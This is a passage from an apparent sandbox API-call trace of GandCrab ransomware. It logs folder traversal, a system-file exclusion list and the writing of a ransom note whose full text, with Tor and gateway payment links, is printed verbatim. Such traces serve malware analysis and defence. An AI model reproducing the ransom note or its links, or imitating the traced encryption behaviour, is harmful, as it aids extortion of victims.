Settings\\CIiHmnxMn6Ps\\AppData\\LocalLow") returned 55 [0169.610] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0169.610] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0169.610] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0169.610] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\", lpString2="Roaming" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Roaming" [0169.610] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 54 [0169.610] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0 [0169.610] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.610] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.610] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\\\GDCB-DECRYPT.txt") returned 64 [0169.610] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.611] GetLastError () returned 0x50 [0169.611] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.611] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\") returned 47 [0169.611] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\*" [0169.611] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\*", lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 0x5a4ed8 [0169.611] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.611] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0169.611] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.611] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.611] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0169.611] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.611] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.611] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt" [0169.611] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.611] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 63 [0169.611] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 63 [0169.611] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 63 [0169.611] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 63 [0169.611] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.611] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.611] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.611] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.611] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.611] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.611] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.612] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.612] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0169.612] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0169.612] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0169.612] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\", lpString2="Local" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local" [0169.612] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\" [0169.612] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.612] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.612] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\") returned 53 [0169.612] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\*" [0169.612] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\*", lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 0x5a5018 [0169.612] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.612] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.612] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.612] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.612] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.612] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0169.612] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0169.612] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe" [0169.612] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe") returned 58 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data") returned 69 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\CEF" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\CEF") returned 56 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Comms" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Comms") returned 58 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Google" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Google") returned 59 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\History" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\History") returned 60 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\IconCache.db" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\IconCache.db") returned 65 [0169.613] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft") returned 62 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\MicrosoftEdge" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\MicrosoftEdge") returned 66 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Mozilla" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Mozilla") returned 60 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages") returned 61 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.613] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0169.613] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0169.613] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\PeerDistRepub" [0169.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\PeerDistRepub") returned 66 [0169.613] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.614] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0169.614] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0169.614] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Publishers" [0169.614] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Publishers") returned 63 [0169.614] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.614] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0169.614] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0169.614] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Temp" [0169.614] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Temp") returned 57 [0169.614] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.614] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0169.614] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0169.614] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Temporary Internet Files" [0169.614] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Temporary Internet Files") returned 77 [0169.614] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.614] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0169.614] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0169.614] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer" [0169.614] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer") returned 66 [0169.614] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0169.614] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0169.614] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0169.614] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\VirtualStore" [0169.614] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\VirtualStore") returned 65 [0169.614] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 0 [0169.614] FindClose (in: hFindFile=0x5a5018 | out: hFindFile=0x5a5018) returned 1 [0169.614] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.614] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\\\GDCB-DECRYPT.txt") returned 70 [0169.614] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0169.615] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.615] WriteFile (in: hFile=0x4d8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f284, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f284*=0xad6, lpOverlapped=0x0) returned 1 [0169.615] CloseHandle (hObject=0x4d8) returned 1 [0169.616] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.616] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\") returned 53 [0169.616] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\*" [0169.616] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\*", lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 0x5a4c18 [0169.616] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.616] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0169.616] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.616] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.616] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0169.616] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0169.616] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0169.616] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe" [0169.616] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\" [0169.616] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.616] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.616] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.616] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.616] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.616] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.617] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\") returned 59 [0169.617] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\*" [0169.617] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x5a4c58 [0169.617] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.617] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.617] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.617] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.617] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.617] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.617] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.617] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat" [0169.617] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Acrobat") returned 66 [0169.617] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.617] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0169.617] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0169.617] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef" [0169.617] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef") returned 66 [0169.617] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.617] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0169.617] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0169.617] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color" [0169.617] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color") returned 64 [0169.618] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0169.618] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.618] VirtualAlloc (lpAddress=0x0, dwSize=0x402, 